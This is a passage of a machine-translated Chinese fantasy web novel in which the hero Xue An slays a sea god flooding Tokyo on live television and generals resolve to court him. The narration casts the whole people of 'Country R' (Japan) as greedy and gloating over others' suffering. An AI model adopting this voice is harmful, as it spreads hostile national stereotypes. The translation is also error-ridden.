    The surface of the sea gradually rose, and then a huge wave formed, holding the giant whale and rushing to the distant country R with Poseidon.


    Country R today can be said to be in an atmosphere of drunken dreams.


    Since the chaos of the world, this island country, which is isolated overseas, has suffered the least loss.


    Except for the appearance of some less powerful gods and demons in the mainland, no abnormalities appeared at all.


    This makes the people of Country R ecstatic, and they increasingly believe that the land under their feet is the land of sunrise, protected by the great **** of sunlight, no matter how chaotic outside, this land will be fine.


    And over time, after seeing the tragic situation of other countries outside, the fire of ambition that never extinguished deep in the hearts of the people of R country began to burn again.


    If the outside countries are greatly damaged due to this chaos of the gods and demons, wouldn''t country R be able to dominate the world without any effort?


    With this kind of thinking, the people of R country look at everything outside with a mentality of schadenfreude or even watching the excitement.


    And this mentality is carried out from the top to the bottom. Except for a few clear-headed people who are worried, even ordinary people think that R will dominate the world.


    As a result, the entire R country has fallen into a kind of crazy atmosphere of life and death.


    Tokyo.


    Kiyoko Takeuchi slowly wiped the streamer in his hand, with a solemn expression that made all the big guys kneeling in the room dare not even show the atmosphere.


    a long time.


    Kiyoko Takeuchi slowly returned the sword to its sheath, and said lightly, "Did you do everything you were told to do?"


    "Hey, after Your Excellency Kiyoko ordered, we immediately began to prepare. Now we have mobilized a lot of talents and are in strict training every day."


    Kiyoko Takeuchi nodded, "Yes."


    At this time, the few tallest bosses who were kneeling in front said respectfully: "Your Excellency Kiyoko, but I don''t know why you want us to train these people?"


    Kiyoko Takeuchi did not speak, but slowly stood up and looked around at everyone in the room.


    Today, she is wearing a traditional sword costume from R country, her belt has a thrilling curve, and her hem shows a pair of slender legs.


    Such a dress made her look heroic and at the same time added a touch of charm.


    But no one dared to look up.


    Because these big guys all understand that the most annoying thing about this Tokyo underground queen is that someone stares at her.


    Once she violated this rule, the end will often be extremely miserable.


    At this time, Kiyoko Takeuchi pressed the light sword on her waist and said lightly: "China is in chaos, I want to take people to help."


    As soon as this sentence came out, all the bigwigs in the room were a little dumbfounded.


    Among them, the eldest one knelt and climbed a few steps, "Your Excellency Qingzi, the chaos in China has been extremely serious now. If you go there, it will definitely be dangerous, so I..."


    The old man didn''t dare to go on, because Takeuchi Kiyoko had been looking at him coldly.


    After a while, Kiyoko Takeuchi said indifferently: "I have decided, no matter how difficult it is to change. I will leave soon."


    After that, he turned around and left the house, leaving a bunch of Hey Gang gangsters looking at each other.


    "Your Excellency Qingzi is going here, is it for that godlike man?" Someone said bitterly.


    The atmosphere in the room became even more depressing when it came to that godlike man.


    If the underground queen Kiyoko Takeuchi is a conventional weapons deterrent, Xue An is a nuclear weapon-level deterrence in the minds of these gangsters.


    "But I heard that this person has been missing for more than half a year, and there are even rumors that he is already dead."


    "Hush, please don''t be heard by Your Excellency Qingzi, otherwise no one can save you."


    At this time, someone sighed: "Maybe this is the reason why Your Excellency Qingzi insisted on going to China."


    These people are sighing.


    Kiyoko Takeuchi returned to his room.


    "Kyoko, are you thinking about it? Are you really going?" Takeuchi''s mother asked.


    Kiyoko Takeuchi nodded, and then said in a deep voice: "The master is not here, I am worried that the mistress will be in danger, even if I go to protect the safety of the mistress, it is good."


    "Alright!" Takeuchi Kiyoko''s mother nodded, "I have prepared everything for you, so I can leave at any time."


    "Thank you, my mother."


    The mother and daughter were talking in the house suddenly.


    Kiyoko Takeuchi heard a loud howl outside.


    There was endless despair in these voices, as if they were witnessing the end.


    Kiyoko Takeuchi was startled, and then rushed to the window with a stride, and when she opened the shade, she was also dumbfounded.


    I saw a huge wave from Tokyo Bay towards Kyoto.


    And a huge whale is at the top of the wave.


    Although it is far away, the power that shakes the world still makes people tremble.


    And a master like Takeuchi Kiyoko could see a man holding a trident standing above the giant whale''s head.


    Recalling a myth spread among the folks, Takeuchi Kiyoko trembled: "It''s the sea god!"

 Chapter 667： Interview

    As if to confirm her words, Poseidon stood on the head of the giant whale, overlooking the bustling Tokyo, hehe smiled, and then with a hint of joking voice spread throughout the city.


    "If you haven''t seen it for thousands of years, your human city has become more refined, but the more it is, the more it makes me have the desire to destroy, hehe, come and bear the anger of my sea god!"


    After all, Poseidon pointed the trident in his hand forward.


    An infinite amount of sea water rose into the air, forming layers of huge waves, which hit Tokyo.


    In front of the power of heaven and earth.


    The concrete and steel bars that humans are proud of have created cities that are simply vulnerable. Most of it was destroyed by huge waves in an instant.


    In an instant, the once prosperous Tokyo had numerous casualties and heavy losses.


    At the same time, the harbor of Hong Kong.


    As the population gradually returned, the city began to rejuvenate.


    But whether it was the rich or the civilians, they all took the initiative to avoid a hotel in the city center.


    Because they all know that the person who lives in this hotel is turning the tide and saving the city, Mr. Xue, who is known as the most respected of the world.


    Such a character, naturally no one dares to bother.


    But today.


    A military helicopter broke the silence here.


    Wait behind the hotel apron.


    Several photographers with long guns and cannons jumped down first.


    Then came down a woman in professional attire.


    Song Yi stepped forward and said in a decent tone: "Are you Chen Xiaoyi Miss Chen?"


    Chen Xiaoyi pulled up the hair that was blown away by the helicopter and nodded, "Yes! Nice to meet you, Master Song."


    Song Yi smiled slightly, "Please come with me, Mr. Xue is waiting for you inside."


    After that, lead the way and walk inside.


    Chen Xiaoyi stabilized his excited mind and followed behind.


    When I came to the living room, I saw Xue An and An Yan sitting on the sofa.


    Chen Xiaoyi let go of her hanging heart.


    When she was on the road, she was always worried about not seeing Xue An herself.


    Because before I came here, the above told her that I understood that the reason why she was sent to conduct such an important interview this time was entirely because she had met Xue An before.


    So I have to complete this task anyway.


    In this regard, Chen Xiaoyi is also under great pressure.


    She knew Xue An.


    But that was when I was in the provincial capital, I got in touch with Xue An because of the film interview.


    Later Xue An became stronger and stronger, and what he did became more and more dazzling.


    Chen Xiaoyi has long since dared not expect such a character to remember himself.


    But I didn''t expect everything to go so smoothly.


    At this moment Xue An stood up and smiled at Chen Xiaoyi, "Long time no see, reporter Chen Da."


    Seeing this scene, Chen Xiaoyi let out a sigh of relief, and then said with a smile: "Mr. Xue, I didn''t expect you to remember me!"


    "Of course, I remember that I used to be a big reporter for Entertainment Weekly, and you also wrote several film reviews for my movies at that time." Xue An said with a smile.


    Mentioning the past, the atmosphere suddenly became relaxed, Chen Xiaoyi no longer nervous, and smiled with his mouth covered: "If anyone knew that Mr. Xue had made a movie back then, I don''t know how shocked it would be."


    Seeing this scene, the photographers who followed couldn''t help feeling a little shocked.


    Unexpectedly, Chen Xiaoyi, who had recently joined the Zhongdu TV station, was actually so familiar with the world''s respect.


    It seems that the future of this Miss Chen will be limitless.


    Several photographers thought about it in their hearts, but there was no delay on hand, they kept recording everything.


    Because of the instructions above, this interview is extremely important and there must be no omissions.


    At this time, Chen Xiaoyi began to interview step by step.


    "Mr. Xue, now the whole world is turbulent and disturbed by gods and demons. What do you think of this?"


    Xue An looked at Chen Xiaoyi, who was somewhat restrained at first, but gradually relaxed behind him, smiled slightly, "The sword yesterday represents my opinion."


    Chen Xiaoyi was startled when he heard the words, and then became a little excited, "Then what is Mr. Xue''s next plan?"


    As explained above, this interview has two purposes.


    The first is that Xue An''s appearance raised the eyebrows for the Chinese. Naturally, such a typical example should be interviewed carefully, and then all resources should be used to promote it.


    After all, there is no more suitable propaganda object that can be used to boost morale than Xue An.


    But the second point is even more important.


    That is, through this less official interview method, to know what Xue An is going to do next, and what he wants.


    Regardless of what conditions he proposed, China will unconditionally agree.


    On this point, these high-level leaders reached a consensus without hesitation.


    With these two important tasks, Chen Xiaoyi naturally wanted a clear answer from Xue An.


    Xue An also knew this well.


    However, he is unwilling to get too close to governments.


    Because it is not necessary.


    His current strength can easily overthrow any country in the world.


    You can also have power and wealth that most people can''t imagine.


    Even he can overthrow everything and become the lord of the world.


    But he didn''t bother to pursue these.


    "Are you planning? If I say that I am a little worried about whether these gods and demons will be too casual, do you believe it?" Xue An said lightly.


    Hearing these words, Chen Xiaoyi was dumbfounded.


    She never thought Xue An would have this idea anyway.


    But after thinking about it, there seems to be some truth.


    Could this be the pursuit of the strong?


    Just when Chen Xiaoyi was puzzled.


    Xue An suddenly lit up before turning his head to look out the window.


    Chen Xiaoyi followed Xue An''s gaze with some surprise. The hotel room was in a great location. The sea was not far from the window, but she saw nothing for a long time.


    "Mr. Xue, is there anything wrong?" Chen Xiaoyi asked in confusion.


    Xue An turned his head and looked at Chen Xiaoyi when he heard the words, a faint smile appeared at the corner of his mouth.


    "Miss Chen, are you interested in seeing how I slaughter gods and demons?"


    Chen Xiaoyi was startled, then subconsciously nodded.


    Immediately, she seemed to think of something The goose bumps all over her body started.


    "Mr. Xue, is there any **** or devil coming again?"


    Xue An smiled slightly, "That''s right! Follow me if you want to go, but remember to hurry up, if it''s too slow, I can''t guarantee that I will wait for you!"


    After that, Xue An got up with An Yan and walked out.


    Chen Xiaoyi hesitated for a moment, then gritted his teeth and turned to look at the cameramen.


    "Let''s go! If you successfully broadcast the scene of Mr. Xue killing the gods and demons this time, you and I will make a great contribution!" Chen Xiaoyi said decisively.


    "Understood!" These people naturally understood the truth, and nodded at Chen Xiaoyi one after another.


    With that, a few people got on the helicopter.


    At this time, Xue An had already ascended into the air with An Yan.


    The two were in front, the helicopter hurriedly chased behind, and then went straight to Country R.

 Chapter 668： I have the Heavenly Sword, I can kill long whales across the sea

    Kiyoko Takeuchi drank a few large mouthfuls of sea water and finally rescued the last person on the roof.


    At this moment, all the big guys in the Hey Gang were all turned into soup chickens, standing on the top of the building shivering and looking at the already vast Tokyo.


    Some people began to cry bitterly, and the rest was horrible.


    Kiyoko Takeuchi frowned, "Shut up!"


    The cry stopped instantly.


    Kiyoko Takeuchi said coldly: "You are all dignified R country samurai, what are you crying like?"


    "But Your Excellency Kiyoko..."


    "It''s nothing!" Takeuchi Kiyoko slowly drew his sword, looking at the water with a solemn expression, and said, "If you don''t want to die, you''d better take up your sword and fight now."


    As soon as the voice fell, I saw a strangely shaped big fish suddenly burst out of the muddy water, and rushed towards the crowd.


    The few people closest to the water screamed in fright, and at this moment, Kiyoko Takeuchi arrived with a sword.


    With a pop, the strange fish was cut into two sections by Jianguang.


    The remaining two segments of the fish fell on the roof, but they were still tumbling hard, and slowly died after struggling for a while.


    This scene made all these people chill.


    "Your Excellency Qingzi, what are these?"


    Kiyoko Takeuchi''s face sank like water, "If you guessed correctly, these are all fish spirits and sea monsters that are hidden in the deep sea. I don''t know how long they have lived."


    With that, Takeuchi Kiyoko looked at the sea **** standing on the head of the giant whale in the distant sky.


    "And all this is the ghost of this sea god!"


    Hearing what Kiyoko Takeuchi said, these people didn''t dare to be careless, they all gathered together and took out their own self-defense swords.


    But Takeuchi Kiyoko''s inner anxiety grew stronger.


    In her perception, the powerful aura in the surrounding waters became more and more dense.


    This is obviously not here to greet them.


    At this moment, several screams were heard not far away.


    Kiyoko Takeuchi looked up.


    There were a dozen survivors standing on the roof of a building not far away.


    These people were trembling together to discuss matters.


    Suddenly a huge tentacled stretched out, directly dragging several people outside into the water.


    After a while, the tossing water calmed down, but a stream of blood emerged.


    Everyone looked pale in this scene.


    But Kiyoko Takeuchi''s anxiety became stronger.


    suddenly.


    I saw a lot of dorsal fins above the water.


    "It''s a shark!" someone shouted desperately.


    Kiyoko Takeuchi finally understood where his anxiety came from.


    These sharks were obviously attracted by the smell of blood.


    At this moment, the building not far away started shaking violently.


    A few were unsteady and fell into the water at that time. Then they saw a intensive churning on the surface of the water. Countless sharks swarmed in and began to madly bite those who fell into the water.


    The screams of the drowning man only lasted a few seconds before abruptly stopped.


    Obviously they were all buried in fish belly.


    The remaining survivors hugged each other and started screaming and crying.


    At this time, Kiyoko Takeuchi could see clearly that it was these big sharks that shook the building under the water.


    It''s just that the shark''s skin was shining with cold light at this time, and its body size has also increased a lot.


    Even after noticing Takeuchi''s gaze, several sharks still surfaced, staring at Takeuchi with cold eyes.


    Kiyoko Takeuchi felt cold in his heart, because these sharks had a hint of mockery in their eyes.


    It seems to be saying don''t worry, it''s your turn right away.


    At this moment, the building groaned overwhelmedly under the bite and shaking of several sharks, and then gradually fell over.


    The survivors above cried in despair.


    With a gritted teeth, Kiyoko Takeuchi suddenly gave a soft drink, and the streamer sword in his hand cut out a bright sword light.


    Puff puff puff.


    After more than a dozen muffled sounds, more than a dozen shark bodies floated on the water.


    This completely angered the sharks, turned his head and rushed towards Kiyoko Takeuchi.


    These gangsters all exclaimed when they saw this.


    "Your Excellency Kiyoko..."


    But after issuing this sword, Takeuchi Kiyoko looked pale, and apparently was already unable to support it.


    But in the face of these swarms of sharks, if she can''t make a sword, then death is waiting for everyone.


    Therefore, she bit the tip of her tongue sharply and spit it on the sword with a puff, her expression became more and more decadent, but the streamer sword was radiant.


    Then she slammed a sword out.


    The power of this sword is much greater than just now.


    One sword killed most of the sharks.


    The rest also became a little flinching.


    But before Kiyoko Takeuchi breathed a sigh of relief.


    I heard a voice with a hint of joking in majesty.


    "I slaughtered so many people, mortal, how do you think I should punish you?"


    Everyone froze, then slowly raised their heads to look.


    Seeing that the giant whale did not know when it had floated above the sky, it seemed to be swimming in the water, soaring flexibly.


    The sea **** was standing on top of the giant whale, looking down at the crowd.


    Kiyoko Takeuchi''s complexion became more and more ugly, but he still held the streamer in his hand tightly.


    "Huh...!" Poseidon gave a light huh and hooked his hand lightly, and this light sword broke free from Kiyoko Takeuchi''s hand and flew directly into Poseidon''s hand.


    "This sword is not bad, and it should be made by a half-step golden fairy at least!" Poseidon examined it for a moment, and then gave Takeuchi Kiyoko a strange smile.


    "It''s a pity that your swordsmanship is too bad!"


    At this time, Kiyoko Takeuchi''s eyes were already red, "Return my sword to me! It was given to me by my master!"


    "Your master? Haha, no, from now on your master will be me!" Seagod said with a grinning grin.


    As soon as he stretched out his hand, Takeuchi Kiyoko involuntarily floated into the air, and then flew high.


    "Your Excellency Qingzi!"


    These Hey Gang screamed in unison.


    Kiyoko Takeuchi was even more embarrassed and mad, struggling desperately, trying to break free.


    "It''s useless In front of me, any of your resistance is futile!" Poseidon laughed.


    With a quick finger, Takeuchi Kiyoko felt completely stiff, unable to even blink.


    This time, Kiyoko Takeuchi was finally completely desperate.


    Seeing she was about to rise into the air, but at this moment.


    I heard a quiet voice suddenly heard from the sky in the distance.


    "I have Heavenly Sword!"


    After speaking, a streamer flew across the sky, before rushing to the front.


    A sword light that slashed the sky and the Jedi had already arrived, slashing directly at the giant whale and the sea god.


    Then he heard the voice and continued.


    "Cut long whales across the sea!"


    At the same time, Jianmang cut down.

 Chapter 669： Global live broadcast

    clang.


    There was a loud bang of gold and iron.


    This seagod raised his trident in an instant that he could not let go, and it was able to block the sword.


    But even though Jianmang was blocked, he was blown away dozens of feet away under the sword''s might.


    Not only that, after the trident in this Seagod''s hand uttered a mournful cry, it was broken into two pieces with a click.


    But anyhow he saved his life.


    But the giant whale he was riding had no such good luck.


    I saw a blood line emerging from the forehead of this giant whale, and then directly extending to the tail.


    boom.


    After a muffled sound, the giant whale was cut into two pieces from the middle.


    The blood and the corpse fell straight into the sea, stirring up waves.


    All this happened in a few breaths.


    The Poseidon who had just returned to his majesty was repelled, and the giant whale was even cut down by him.


    Everyone raised their heads and stared at the man standing in mid-air.


    Kiyoko Takeuchi had fallen back to the ground. She looked at Xue An with a dull gaze, she couldn''t believe her eyes.


    It wasn''t until a few seconds later that she gently fell to her knees.


    "Master, you are back!"


    Seeing her kneeling, the big guys from Tokyo Hey Gang trembled all over, and they all squatted on their knees. They didn''t even dare to look up at Xue An.


    This god-like man returned, and as soon as he appeared, he killed the giant whale that almost destroyed the entire Tokyo.


    This naturally made the gangsters horrified.


    Xue An nodded noncommitantly, "Get up all!"


    This group of talents stood up tremblingly.


    On the helicopter that followed immediately, Chen Xiaoyi''s face was full of horror, and it took a moment before she said in a deep voice.


    "Did the scene just now be recorded?"


    The photographer nodded, "Sister Chen, it''s all recorded, and we have connected to the communication satellite just now, and the above replied that we want to track the whole process, and the live broadcast will begin soon."


    Chen Xiaoyi nodded and looked far away with blinking eyes.


    She didn''t expect Xue An to be so domineering. After crossing the East China Sea, she would kill a giant whale with a single sword.


    At this time, a reporter in charge of communications said solemnly: "Sister Chen, the headquarters reply, the live broadcast can start!"


    Chen Xiaoyi nodded, took a deep breath and said: "First pass the picture just now, and then broadcast it simultaneously!"


    "Yes!"


    at the same time.


    In all parts of China, no matter it is in the middle or in certain small cities that have fallen into the hands of gods and demons, only a few survivors remain.


    Whether it is outdoors or indoors, as long as there is a TV or Internet, the same picture appears.


    People were all stunned, not knowing what was happening, they all stared at it.


    The picture was shaken for a while, and then gradually became clear.


    Only then did people see clearly, and saw a huge whale floating in the middle of the picture, and there seemed to be a person standing on top of the whale.


    But then a stream of light flew across the sky, and then cut out an extremely powerful sword light, directly slaying the giant whale, and blasting the people above it away.


    I have the Heavenly Sword, and I cut long whales across the sea.


    These two sentences also spread to the ears of every audience.


    Then the camera turned and aimed at Tokyo, which has become a vast ocean below.


    "It''s Tokyo!" The sharp-eyed audience immediately recognized it.


    Because the Tokyo Tower, half of the top of the water surface, is too eye-catching.


    "What''s the matter?" Everyone was a little confused.


    At this time, Chen Xiaoyi''s voice came from the TV.


    "This is Tokyo. We just arrived here with Mr. Xue. He allowed us to live broadcast the whole process of how he slaughtered the gods and exterminated demons!"


    Hearing this sentence, all the viewers in front of the TV were stunned.


    Many viewers who were not in front of the TV at the beginning also got the news at this moment, whether they were driving or doing something, they stopped their work for the first time and started looking for TV nearby.


    The whole China stagnated, and everyone stared at the screen intently.


    And other countries also received the information and immediately began to broadcast it.


    A simultaneous live broadcast covering the world has begun.


    Seeing that in the sky at this moment, the Seagod stood far away, staring at Xue An, who was standing opposite with his hand, his expression extremely solemn.


    The sword that shocked him was greater than anyone else.


    Even when facing this sword, a wave of despair rose in the Seagod''s heart. Although it was barely blocked in the end, the trident, the artifact that he was famous for, was also chopped off.


    What a powerful kendo cultivation base?


    "Jian Xiu, why are you going against my sea clan? And kill my mount and destroy my weapon?" Seagod asked in a deep voice.


    Xue An ignored what he said. Instead, he turned his head and smiled at An Yan who had just flown over: "Yan''er, have you ever seen a dung fork?"


    An Yan was startled, then shook his head, "I haven''t seen it, what is that?"


    Xue An smiled slightly, "In the old villages, it was there, and as the name suggests, it was a fork used to dig manure."


    Then he pointed to the trident that was broken into two pieces by Poseidon''s hand, "If you haven''t seen it, just look at this thing. This thing is exactly the same as a dung fork. I even suspect..."


    Xue An looked at Poseidon with a grin, "I wonder if you stole this thing from the Chinese countryside!"


    Hearing these words, An Yan covered her mouth and smiled so that her eyes were bent.


    My husband, sometimes speaking is really maddening.


    And everyone who watched in front of the TV laughed even more.


    It''s not because Xue An''s words are so funny.


    Rather, he wanted to use this method to relieve the grievances accumulated from being bullied by gods and demons for so long.


    Poseidon''s face suddenly became extremely ugly.


    Although he didn''t know what a dung fork was, the fool could also see that Xue An was teasing himself.


    "Jian Xiu, although you are tyrannical, but you can insult a high **** like this, are you a bit arrogant and excessive?"


    Xue An only shook his head and chuckled when he heard this, "You gods..."


    "When facing mortals, I kept saying that everything in the world is respected by strength. Mortals are inherently humble when urinating, but you are born noble."


    "But when you really met the strong you changed to another face and asked if I was too arrogant?"


    Speaking of this, Xue An raised the corner of his mouth, revealing a cold smile, "I will tell you now, I am so arrogant by nature!"


    With that, Xue An turned to look at Chen Xiaoyi on the helicopter, "How about the live broadcast?"


    Chen Xiaoyi nodded vigorously.


    Xue An smiled, "Well, today, I will kill God in front of all Chinese people!"


    The complexion of Poseidon suddenly turned pale, and an extremely cold killing intent flashed in his eyes.


    "Jianxiu, don''t really think I''m afraid of you! I..."


    Before he finished his words, Xue An''s figure appeared before him and smiled sensibly, "What am I? Now speak with his fist."


    With that, Xue An raised his fist and blasted out.


    The Seagod roared, but failed to resist, he was directly blown into the sky.

 Chapter 670： Massacre in public

    now.


    Everyone in the world who was watching the live broadcast was dumbfounded.


    Many people thought that even if Xue An could defeat this sea god, he would have to go through a bitter battle.


    But who could have imagined that Xue An would blast this Seagod into the sky with one punch?


    at this time.


    Just listen to the seagod��s furious roar from high above: "Sword Xiu, I will make you pay!"


    As he said, the Seagod who was half-shattered by a punch suddenly waved his hand.


    Seeing that the originally calm sea began to vibrate violently, and then the sea surface quickly rose, and a huge wave began to take shape.


    A huge amount of seawater rushed in madly, constantly joining the huge waves, and even because of the extraction of too much seawater, the entire ocean became dry, exposing a large seabed.


    Soon, the huge wave became several hundred meters high, and Poseidon stood on the top of the wave, looking at Xue An grinningly.


    "Jian Xiu, although you are very powerful, but now as long as I give an order and the waves are photographed, the entire island nation will be wiped out, and all the mortals on it will be buried for me! Hahahaha, I will see how you face it. Correct!"


    Poseidon laughed wildly.


    Xue An looked at him quietly, then turned sideways, "please."


    Poseidon��s laughter stopped abruptly, "What did you say?"


    "I mean... please."


    "You...Aren''t you afraid that I would really destroy this island country?" The Seagod looked at Xue An with surprise.


    He originally thought that Xue An was the kind of righteous swordsman who came to save the residents of these island countries, so he deliberately used this to threaten him.


    But I didn''t expect that Xue An would not care about these at all.


    "What does it have to do with me if you can''t destroy this island country? Anyway, you will always die." Xue An said lightly.


    "Want to use this to blackmail me? Not to mention that I didn''t like this island country in the first place. Even if you really kill everyone, it''s your hand. Why do I?"


    "You..." Poseidon finally felt a kind of fear from his heart.


    Before he finished speaking, Xue An stretched out three fingers and said a little impatiently: "I will give you three breaths now. If you have not made a decision at that time, I will send you on the road."


    "One!"


    The Seagod''s expression changed wildly, and his eyes flickered, not knowing what he was thinking.


    "two!"


    As soon as Poseidon gritted his teeth, the huge waves under his feet began to rush toward the coast.


    Seeing this scene, both the viewers who were watching the live broadcast or the local residents of Country R were shocked.


    Especially the people of R country, many people are already crying in despair.


    Kiyoko Takeuchi also showed a bitter smile.


    Of course she knew that the owner had never liked Country R, ??but she didn''t expect to dislike it so much.


    But just when the huge waves were about to hit the shore.


    An Yan couldn''t bear to shout, "Husband!"


    Hearing this voice, Xue An raised the corners of his mouth, showing a faint smile, and then nodded at An Yan.


    "three!"


    Following these words, Xue An''s people suddenly appeared beside the Seagod and threw another punch.


    boom.


    Poseidon was caught off guard and was bombarded far away, and the remaining half of his body burst apart.


    Then he heard the Seagod roaring: "Sword Xiu, didn''t you say that you don''t care about this?"


    Xue An slowly retracted his fist and said indifferently: "My wife wants me to take care of it, so of course I have to take care of it. Besides, I don''t like this island country, but it is not your turn to kill the gods and demons."


    "Jie Jie, it''s useless! Now that the giant wave has taken shape, even I can''t control it. Just watch this island country destroy in front of you!" The sea **** Jie Jie laughed strangely, and his figure started even more. Quickly recover.


    really.


    This huge wave began to show a tendency to collapse, and if this endless sea water fell one by one, the entire country R would be shot to pieces.


    All the people watching the live broadcast couldn''t help holding their breath, and some even turned their heads unbearably.


    Xue An stood in front of this huge wave, raised his head and watched quietly, without speaking.


    Through the lens, many people saw such a picture.


    Seeing Xue An standing in front of the incomparably tall huge wave, his figure was very small, but the proudly standing back made many people moved.


    "Husband!" An Yan rushed over with some worry, and stood side by side with Xue An.


    Xue An turned his head and smiled at her, then faintly said: "Yan''er, have you played in the water?"


    "Ok?"


    "My husband will play you a water polo today."


    As he said, Xue An stretched out his hand and pointed, "Broken!"


    boom.


    With Xue An''s order, the huge waves that had covered the sky and the sun broke apart, and the endless sea was about to pour down.


    But Xue An waved his hand, and a perfect circle appeared in the air.


    "Condensation!"


    These pouring down seas will follow violently.


    This circle is like a bottomless pit. Countless sea water poured in, but it did not fill it up. It just gradually condensed a little shining water in the center of the circle.


    In the blink of an eye, all the sea water entered the circle, and then turned into a basketball-sized water polo.


    The water ball reflected the sky full of stars, dazzlingly like a diamond.


    Seagod''s eyes almost stared out.


    Because he can feel the powerful power contained in this water polo.


    This is equivalent to compressing hundreds of thousands of tons of seawater to the size of a basketball, and its weight and density can be imagined.


    He couldn''t even control the water like this.


    Xue An held the water polo with one hand, and raised his head to smile at the distant Seagod.


    "This is your thing, I will give it back to you now!"


    With that, Xue An waved his hand casually, and the ball of water turned into a stream of light and flew directly towards the sea god.


    "No..." Without saying anything behind Poseidon, he was hit by this lightning-fast water ball.


    There was a loud bang.


    Poseidon didn''t even hum, and was directly smashed out by the water ball.


    When he waited to fly to the middle of the sea, the Seagod screamed in horror, and his back figure turned into powder.


    After that, the water ball burst open and turned into countless sea water, instantly filling up most of the dry ocean below.


    As for Poseidon, I can''t even see a trace.


    Even if he was the **** who controlled the ocean, he was still smashed by Xue An''s simple and rude blow.


    A sea **** actually died under the ocean in the end, which was a bit of irony.


    And after the wind calms down.


    Both the live broadcast audience and everyone on the scene looked at the figure in the air with blank eyes.


    Xue An clapped his hands, turned his head and smiled at An Yan.


    "Yan''er, was my posture handsome just now?"


    His smile happened to be captured by the camera, and then presented in front of all the audience watching the live broadcast.


    Such indulgent and clear smiles made many women fall into an instant.


    At the same time, Xue An slaughtered the gods in public, and completely established his title of worldly respect.

 Chapter 671： Give Xue An an explanation

    Zhongdu.


    In a meeting room of very high specifications.


    After seeing Xue An in the live broadcast, he condensed the boundless sea water into a water ball, and then smashed a **** into nothingness.


    The meeting room was deadly quiet.


    Then there was an uncontrollable uproar.


    "Quiet!" A general sitting in the main seat knocked on the table. Judging from the general star on his shoulder, he was a general of the town country.


    Quiet in the meeting room.


    Then the general said in a deep voice, "What do you think about this incident?"


    Everyone in the conference room looked at each other, but no one spoke.


    The town general turned his gaze to a man wearing gold glasses and asked: "As the supervisor of the management committee who is responsible for studying the abilities of these practitioners, don''t you have anything to say?"


    The man stood up, pushed the glasses on the bridge of his nose, and smiled bitterly: "Your Excellency, from the very beginning I tried to analyze how strong this Xue An is, but I gave up later."


    "Oh? Why?" The town general was puzzled.


    The man in glasses sighed, got up and walked to the big screen, back to the time when the huge wave hadn''t collapsed.


    "Generals, I don''t know if you have paid attention to this huge wave. According to the surrounding reference objects in the picture, this huge wave is at least hundreds of meters high. What is this concept?"


    The man with glasses was silent for a moment, and then said: "If this huge wave appears anywhere, it will be enough to destroy thousands of kilometers of land. Note that it is a complete destruction! Even the mountains cannot stop the offensive of these huge waves."


    The meeting room was quiet, and everyone was listening quietly.


    The man with glasses then said: "Such a huge wave would never have appeared on the earth, but now that the gods and demons are born, it is not uncommon for anything to happen."


    "But this is not what I want to say."


    With that said, the man with glasses fast-forwarded the picture a bit, and then fixed the scene where Xue An held a water polo into a huge wave in his hand, then took a deep breath and said in a slightly horrified tone.


    "I just made a simple calculation below. A water wall with a height of hundreds of meters has a mass of at least 100,000 tons."


    "But such an amazing quality was condensed into a ball of water by Xue An and supported it with one hand."


    "I don''t know how you feel when you see this scene, but when I see it, it''s cold."


    "Because this means that Xue An doesn''t need any magical powers, and his physical strength alone is enough to outsmart the crowd."


    Speaking of this, a dignified look appeared on the face of the man with glasses, and then the General Chongzhen said: "Your Excellency, this Xue An has exceeded the system we use to measure abilities, and his power alone is invincible. In the world, let alone he still has many unpredictable methods!"


    Hearing these clear analyses, the town general also nodded solemnly.


    "That''s right. Fortunately, this person is of Chinese ethnicity, and his behavior is very friendly to our country, so he must be wooed and must not provoke!"


    Hearing these words, there was a whisper in the conference room, and then General Wang Tao, who was sitting at the end, stood up.


    "Your Excellency, since you said that, I have something to report to you."


    "General Wang, please speak."


    Wang Tao said solemnly: "I think everyone should know that Tianyuan Company was also created by Xue An."


    Everyone nodded.


    Later, Wang Tao showed a hint of sarcasm, "I don''t need to say more about the importance of the heavenly fate. It can be said that if there is no heavenly fate, then our country will not be able to survive in front of the gods and demons!"


    "But because of this, this fate has attracted the coveting of many people."


    Hearing him say this, the town general said softly, "What''s the matter?"


    "Your Excellency General did not know that, some time ago, because Xue An had been missing, the Tianyuan Company was controlled by a few friends of Xue An and the Chen family. But since the establishment of the management committee, the Jin family has emerged. After grasping a lot of power, he extended his tentacles to Tianyuan Company."


    "Not only did he send a person to the Tianyuan Company as the director, but he also squeezed out Xue An''s old department and tried to take Tianyuan into the Jin family!"


    The more Wang Tao said, the more ugly this town general''s complexion became.


    At the end, the town general slapped the table, "Too shameful! At this time of crisis, you are still fighting in the same boat if you don''t talk about helping each other in the same boat?"


    At this moment, several people in the conference room looked pale and bowed their heads.


    When Wang Tao saw this, a smile appeared at the corner of his mouth, "Your Excellency, I have dealt with this Xue An, knowing that if you don''t provoke this person, then he will never go against you!"


    "But what the Jin family did this time is completely touching Xue An''s bottom line! For this reason, I have discouraged Xue An, but the Jin family threatened that Xue An is dead, it is not to be afraid!"


    "As a result, Xue An is now born again, and has a powerful strength that everyone can''t ignore!"


    "By the way, you may not know that a woman from the Jin family has been in charge of the Anjia for a long time, but she bullied Xue An''s wife and was eventually killed by Xue An."


    "This is also why the Jin family has always wanted revenge. If this matter is not resolved, I am afraid..." Wang Tao didn''t say anything, but everyone understood what he meant.


    If this matter can''t give Xue An a perfect explanation, then once the killer knows...


    The consequences are simply unimaginable.


    The town country general said without hesitation: "This matter is of great importance and cannot be ignored!"


    Then he stood up and said solemnly: "Now let the people of the Jin family withdraw from Tianyuan Company and take away all their rights in the management committee!"


    Then he leaned on the table to look around everyone in the room, and said with a deep face: "From now on, I don''t want to hear anyone daring to attack Xue An and the people around him~www.novelhall.com ~Otherwise, don''t blame me for being polite."


    "Yes!"


    "Also, starting from today, we will set up an organization specifically responsible for contact and negotiation with Xue An. I will take the lead. General Wang will be solely responsible for the specific affairs!"


    "understand!"


    "Everyone, this turbulent world of gods and demons is a catastrophe, but the birth of this Xue An is a once-in-a-lifetime opportunity for the rise of our country, so I don''t allow anyone to dare to make trouble, otherwise, there will be no mercy! "The town country general said murderously.


    Everyone was stunned, nodding their heads and saying yes.


    As the highest decision-making body of the management committee, the order was passed on immediately after the matter was discussed.


    Jin''s house.


    The once wealthy family has become deserted and deserted at this moment.


    A sorrowful mist enveloped everyone in the Jin family.

 Chapter 672： Jin Family Rebellion

    Jin Hao, the head of the Jin family who was more than a few years old, sat in the middle chair, looking down at the appointment and dismissal notice in his hand, his expression extremely ugly.


